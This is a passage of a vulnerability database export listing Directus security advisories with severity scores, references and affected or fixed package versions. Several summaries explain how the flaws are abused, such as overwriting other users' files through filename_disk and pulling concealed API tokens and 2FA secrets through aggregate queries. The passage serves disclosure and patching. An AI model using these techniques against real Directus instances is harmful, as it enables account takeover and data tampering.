scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431
6
reference_url https://github.com/directus/directus/security/advisories/GHSA-68g8-c275-xf2m
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
4
value MODERATE
scoring_system generic_textual
scoring_elements
5
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/security/advisories/GHSA-68g8-c275-xf2m
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-46990
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-46990
8
reference_url https://github.com/advisories/GHSA-68g8-c275-xf2m
reference_id GHSA-68g8-c275-xf2m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-68g8-c275-xf2m
fixed_packages
0
url pkg:npm/directus@10.13.3
purl pkg:npm/directus@10.13.3
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.3
1
url pkg:npm/directus@11.0.0-rc.1
purl pkg:npm/directus@11.0.0-rc.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4v6n-unvz-wff3
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-662k-n18g-mybg
7
vulnerability VCID-6ggp-xn4c-gya3
8
vulnerability VCID-6mr6-u3vk-sygm
9
vulnerability VCID-88w3-rw8u-rqea
10
vulnerability VCID-a75s-xyu6-wbcw
11
vulnerability VCID-a9tr-a8r5-57en
12
vulnerability VCID-bwww-3wep-2ydf
13
vulnerability VCID-dy98-51bk-p3fk
14
vulnerability VCID-exwx-sqry-c3gc
15
vulnerability VCID-gnzq-q9g9-m3a4
16
vulnerability VCID-hv63-3zhy-dyae
17
vulnerability VCID-j711-a6gm-b7hr
18
vulnerability VCID-kugb-dwxd-6fhe
19
vulnerability VCID-mk5k-pf2s-mfe9
20
vulnerability VCID-n7g1-hmy7-j7g9
21
vulnerability VCID-n9br-39bb-7ugt
22
vulnerability VCID-rq5y-ee4h-gkff
23
vulnerability VCID-szpk-4g6r-f3e6
24
vulnerability VCID-trbn-m8sj-ffa4
25
vulnerability VCID-uft7-5e9d-dqh8
26
vulnerability VCID-vt3b-2dr3-aka2
27
vulnerability VCID-wcaq-4zzz-qfb7
28
vulnerability VCID-wx6m-6dac-xqaj
29
vulnerability VCID-ycj2-8tqq-jyag
30
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.0.0-rc.1
2
url pkg:npm/directus@11.1.0
purl pkg:npm/directus@11.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-21c4-wjbq-pycf
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-662k-n18g-mybg
7
vulnerability VCID-6ggp-xn4c-gya3
8
vulnerability VCID-6mr6-u3vk-sygm
9
vulnerability VCID-88w3-rw8u-rqea
10
vulnerability VCID-a75s-xyu6-wbcw
11
vulnerability VCID-a9tr-a8r5-57en
12
vulnerability VCID-bwww-3wep-2ydf
13
vulnerability VCID-dy98-51bk-p3fk
14
vulnerability VCID-ejdy-qscm-bqe1
15
vulnerability VCID-exwx-sqry-c3gc
16
vulnerability VCID-gnzq-q9g9-m3a4
17
vulnerability VCID-hv63-3zhy-dyae
18
vulnerability VCID-j711-a6gm-b7hr
19
vulnerability VCID-kugb-dwxd-6fhe
20
vulnerability VCID-mk5k-pf2s-mfe9
21
vulnerability VCID-n7g1-hmy7-j7g9
22
vulnerability VCID-n9br-39bb-7ugt
23
vulnerability VCID-rq5y-ee4h-gkff
24
vulnerability VCID-szpk-4g6r-f3e6
25
vulnerability VCID-trbn-m8sj-ffa4
26
vulnerability VCID-uft7-5e9d-dqh8
27
vulnerability VCID-vt3b-2dr3-aka2
28
vulnerability VCID-wcaq-4zzz-qfb7
29
vulnerability VCID-wx6m-6dac-xqaj
30
vulnerability VCID-ycj2-8tqq-jyag
31
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.1.0
aliases CVE-2024-46990, GHSA-68g8-c275-xf2m
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-547q-d837-dfcz
11
url VCID-662k-n18g-mybg
vulnerability_id VCID-662k-n18g-mybg
summary
Directus' exact version number is exposed by the OpenAPI Spec
### Summary

The exact Directus version number is incorrectly being used as OpenAPI Spec version this means that it is being exposed by the `/server/specs/oas` endpoint without authentication. 

### Impact

With the exact version information a malicious attacker can look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53887
reference_id
reference_type
scores
0
value 0.00316
scoring_system epss
scoring_elements 0.54914
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53887
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e74f3e4e92edc33b5f83eefb001a3d2a85af17a3
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/commit/e74f3e4e92edc33b5f83eefb001a3d2a85af17a3
3
reference_url https://github.com/directus/directus/pull/25353
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/pull/25353
4
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-rmjh-cf9q-pv7q
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:45:18Z/
url https://github.com/directus/directus/security/advisories/GHSA-rmjh-cf9q-pv7q
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53887
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53887
7
reference_url https://github.com/advisories/GHSA-rmjh-cf9q-pv7q
reference_id GHSA-rmjh-cf9q-pv7q
reference_type
scores
url https://github.com/advisories/GHSA-rmjh-cf9q-pv7q
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53887, GHSA-rmjh-cf9q-pv7q
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-662k-n18g-mybg
12
url VCID-6ggp-xn4c-gya3
vulnerability_id VCID-6ggp-xn4c-gya3
summary
Directus: Path Traversal and Broken Access Control in File Management API
## Summary

A broken access control vulnerability was identified in the Directus file management API that allows authenticated users to overwrite files belonging to other users by manipulating the `filename_disk` parameter.

## Details

The `PATCH /files/{id}` endpoint accepts a user-controlled `filename_disk` parameter. By setting this value to match the storage path of another user's file, an attacker can overwrite that file's content while manipulating metadata fields such as `uploaded_by` to obscure the tampering.

## Impact

- **Unauthorized File Overwrite**: Attackers can replace legitimate files with malicious content, creating significant risk of malware propagation and data corruption.
- **Remote Code Execution**: If the storage backend is shared with the extensions location, attackers can deploy malicious extensions that execute arbitrary code when loaded.
- **Data Integrity Compromise**: Files can be tampered with or replaced without visible indication in the application interface.

## Mitigation

The `filename_disk` parameter should be treated as a server-controlled value. Uniqueness of storage paths must be enforced server-side, and `filename_disk` should be excluded from the fields users are permitted to update directly.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39942
reference_id
reference_type
scores
0
value 0.0004
scoring_system epss
scoring_elements 0.12316
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39942
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/releases/tag/v11.17.0
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-09T17:47:33Z/
url https://github.com/directus/directus/releases/tag/v11.17.0
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-393c-p46r-7c95
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-09T17:47:33Z/
url https://github.com/directus/directus/security/advisories/GHSA-393c-p46r-7c95
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39942
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39942
5
reference_url https://github.com/advisories/GHSA-393c-p46r-7c95
reference_id GHSA-393c-p46r-7c95
reference_type
scores
url https://github.com/advisories/GHSA-393c-p46r-7c95
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-39942, GHSA-393c-p46r-7c95
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6ggp-xn4c-gya3
13
url VCID-6mr6-u3vk-sygm
vulnerability_id VCID-6mr6-u3vk-sygm
summary
Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries
### Summary

Aggregate functions (`min`, `max`) applied to fields with the `conceal` special type incorrectly return raw database values instead of the masked placeholder. When combined with `groupBy`, any authenticated user with read access to the affected collection can extract concealed field values, including static API tokens and two-factor authentication secrets from `directus_users`.

### Details

Fields marked with `conceal` are protected by payload processing logic that replaces real values with a masked placeholder on read. This protection works correctly for standard item queries, but aggregate query results are structured differently, operations are nested under their function name rather than appearing as flat field keys. The masking logic does not account for this nested structure, causing it to silently skip concealed fields in aggregate responses and return their raw values to the client.

### Impact

- **Account Takeover** An authenticated attacker can harvest static API tokens for all users, including administrators, enabling immediate authentication as any account without credentials.

- **2FA Bypass** TOTP seeds stored in directus_users can similarly be extracted, allowing an attacker to bypass two-factor authentication for any account.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35442
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.04955
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35442
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-38hg-ww64-rrwc
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-04-07T13:30:05Z/
url https://github.com/directus/directus/security/advisories/GHSA-38hg-ww64-rrwc
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35442
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35442
4
reference_url https://github.com/advisories/GHSA-38hg-ww64-rrwc
reference_id GHSA-38hg-ww64-rrwc
reference_type
scores
url https://github.com/advisories/GHSA-38hg-ww64-rrwc
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-35442, GHSA-38hg-ww64-rrwc
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6mr6-u3vk-sygm
14
url VCID-7w4r-sr7k-77g1
vulnerability_id VCID-7w4r-sr7k-77g1
summary
Session Token in URL in directus
### Impact

When reaching the /files page, a JWT is passed via GET request. Inclusion of session tokens in URLs poses a security risk as URLs are often logged in various places (e.g., web server logs, browser history). Attackers gaining access to these logs may hijack active user sessions, leading to unauthorized access to sensitive information or actions on behalf of the user.

### Patches

_Has the problem been patched? What versions should users upgrade to?_

### Workarounds

There's no workaround available.

### References

_Are there any links users can visit to find out more?_
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-28238
reference_id
reference_type
scores
0
value 0.0009
scoring_system epss
scoring_elements 0.25562
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-28238
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-2ccr-g2rv-h677
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-02T19:50:33Z/
url https://github.com/directus/directus/security/advisories/GHSA-2ccr-g2rv-h677
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-28238
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-28238
4
reference_url https://github.com/advisories/GHSA-2ccr-g2rv-h677
reference_id GHSA-2ccr-g2rv-h677
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-2ccr-g2rv-h677
fixed_packages
0
url pkg:npm/directus@10.10.0
purl pkg:npm/directus@10.10.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-88w3-rw8u-rqea
14
vulnerability VCID-95tn-g8wd-63hq
15
vulnerability VCID-a75s-xyu6-wbcw
16
vulnerability VCID-a9tr-a8r5-57en
17
vulnerability VCID-bwww-3wep-2ydf
18
vulnerability VCID-dy98-51bk-p3fk
19
vulnerability VCID-exwx-sqry-c3gc
20
vulnerability VCID-gnzq-q9g9-m3a4
21
vulnerability VCID-hv63-3zhy-dyae
22
vulnerability VCID-j711-a6gm-b7hr
23
vulnerability VCID-jx6x-mxnq-4qe2
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-wx6m-6dac-xqaj
36
vulnerability VCID-ycj2-8tqq-jyag
37
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.10.0
aliases CVE-2024-28238, GHSA-2ccr-g2rv-h677
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-7w4r-sr7k-77g1
15
url VCID-88w3-rw8u-rqea
vulnerability_id VCID-88w3-rw8u-rqea
summary
Directus's conceal fields are searchable if read permissions enabled
## Summary

A vulnerability allows authenticated users to search concealed/sensitive fields when they have read permissions. While actual values remain masked (`****`), successful matches can be detected through returned records, enabling enumeration attacks on sensitive data.

## Details

The system permits search operations on concealed fields in the `directus_users` collection, including `token`, `tfa_secret`, `password`. Matching records are returned with masked values, but their presence confirms the searched value exists.

The "Recommended Defaults" for "App Access" grant users full read permissions to their role/user records, inadvertently enabling them to search for any user's tokens, TFA secrets, and password hashes. Attackers can leverage known password hashes from breach databases to identify accounts with compromised passwords.

# Impact

This vulnerability enables:
- **Token enumeration** - Verification of valid authentication tokens
- **Password hash matching** - Identification of accounts using known compromised passwords
- **Information disclosure** - Confirmation of sensitive value existence without viewing actual data
- **Increased attack surface** - Default permissions automatically expose all deployments using recommended settings

The risk is particularly high for password fields, where attackers can cross-reference publicly available hash databases to identify vulnerable accounts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64748
reference_id
reference_type
scores
0
value 0.00044
scoring_system epss
scoring_elements 0.13866
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64748
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/7737d56e096f95edfbdf861a3c08999ad31ce204
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:39:19Z/
url https://github.com/directus/directus/commit/7737d56e096f95edfbdf861a3c08999ad31ce204
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-8jpw-gpr4-8cmh
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:39:19Z/
url https://github.com/directus/directus/security/advisories/GHSA-8jpw-gpr4-8cmh
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64748
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64748
5
reference_url https://github.com/advisories/GHSA-8jpw-gpr4-8cmh
reference_id GHSA-8jpw-gpr4-8cmh
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8jpw-gpr4-8cmh
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64748, GHSA-8jpw-gpr4-8cmh
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-88w3-rw8u-rqea
16
url VCID-95tn-g8wd-63hq
vulnerability_id VCID-95tn-g8wd-63hq
summary
Directus Allows Single Sign-On User Enumeration
### Impact
When relying on SSO providers in combination with local authentication it can be possible to enumerate existing SSO users in the instance. This is possible because if an email address exists in Directus and belongs to a known SSO provider then it will throw a "helpful" error that the user belongs to another provider.

### Reproduction

1. Create a user using a SSO provider `test@directus.io`.
2. Try to log-in using the regular login form (or the API)
3. When using a valid email address

| **APP** | **API** |
| --- | --- |
| ![image](https://github.com/directus/directus/assets/9389634/1da3301d-226f-46a7-bfb8-3f6fb9bc55cd) | ![image](https://github.com/directus/directus/assets/9389634/50cab310-7d1c-4241-a6be-d06542565767) |

4. When using an invalid email address

| **APP** | **API** |
| --- | --- |
| ![image](https://github.com/directus/directus/assets/9389634/7b97659e-b49c-410b-872e-e36786b6e41e) | ![image](https://github.com/directus/directus/assets/9389634/d26ccba7-bb27-437e-991e-99c10941bbe7) |

5. Using this differing error it is possible to determine whether a specific email address is present in the Directus instance as an SSO user.

### Workarounds
When only using SSO for authentication then you can work around this issue by disabling local login using the following environment variable `AUTH_DISABLE_DEFAULT="true"`

### References
Implemented as feature in https://github.com/directus/directus/pull/13184
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-39896
reference_id
reference_type
scores
0
value 0.0053
scoring_system epss
scoring_elements 0.67497
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-39896
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/454cb534d6ffa547feb11f4d74b932ae7368dae2
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-07-30T18:30:43Z/
url https://github.com/directus/directus/commit/454cb534d6ffa547feb11f4d74b932ae7368dae2
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-jgf4-vwc3-r46v
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-07-30T18:30:43Z/
url https://github.com/directus/directus/security/advisories/GHSA-jgf4-vwc3-r46v
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-39896
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-39896
5
reference_url https://github.com/advisories/GHSA-jgf4-vwc3-r46v
